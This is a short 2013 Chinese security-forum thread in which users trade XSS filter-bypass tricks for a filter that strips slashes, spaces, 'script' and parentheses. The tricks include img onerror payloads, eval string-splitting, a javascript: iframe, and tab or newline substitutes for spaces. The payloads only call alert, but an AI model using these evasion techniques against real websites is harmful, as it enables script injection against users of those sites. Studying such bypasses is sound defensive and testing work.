过滤/和空格还有其他办法吗
xcloud | 2013-04-16 15:36
各位基友有什么办法,xss新手求带
1#
齐迹 | 2013-04-16 16:28
/ 是硬伤。。。
2#
0x0F (??) | 2013-04-16 16:58
<script>alert(2)
3#
xcloud | 2013-04-16 17:32
@0x0F 连script 和()都过滤，其他倒没过滤
4#
_Evil (HackEnd) | 2013-04-16 17:33
@齐迹 @0x0F <script>var a = xxxxxx; b = xxxxx; eval(a+b) ... document.write(".....")
编码 拆分。
http://www.2cto.com/Article/201304/203063.html
5#
_Evil (HackEnd) | 2013-04-16 17:35
@xcloud 。。。。 我发了 刷新下 就看到你了。。 悲剧。。。 <img sr=x onerror="var a=eval ...... 看二哥那个eval
6#
xcloud | 2013-04-16 17:41
@_Evil 空格是硬伤啊
7#
xcloud | 2013-04-16 19:25
没办法了吗？
8#
/fd (/proc) ?() | 2013-04-16 20:05
<iframe src="javascript:location.href=location.hash"
之類的
9#
齐迹 | 2013-04-16 20:16
@_Evil 用img 确实可以绕过LZ说的问题
10#
0x0F (??) | 2013-04-16 22:15
亲，试试style
11#
xcloud | 2013-04-16 23:09
@齐迹 img也要空格吧
12#
xcloud | 2013-04-16 23:10
@0x0F 没发现可以不用空格的
13#
_Evil (HackEnd) | 2013-04-17 00:18
@xcloud 空格蛋疼碉堡用回车
14#
px1624 | 2013-04-17 07:59
空格用tab代替
15#
wefgod (求大牛指点) | 2013-04-17 08:34
/t代替空格不行吗？也失败？
16#
核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2013-04-17 08:37
/，不是十分需要，很多标签不需要此字符。
空格，可用tab(制表符)代替，或注释符：/**/，或回车换行，<!-- -->，注意，存在浏览器兼容问题。
例子：
以下兼容主流浏览器：
制表符代替空格
<img src=# onerror=alert("Nuclear'Atk")>
回车换行代替空格
<img
src=#
onerror=alert("Nuclear'Atk")>
讨论摘自：http://zone.wooyun.org/content/3307
参考资料：
Cross-Site Scripting XSS 跨站攻击全攻略
留言评论（旧系统）：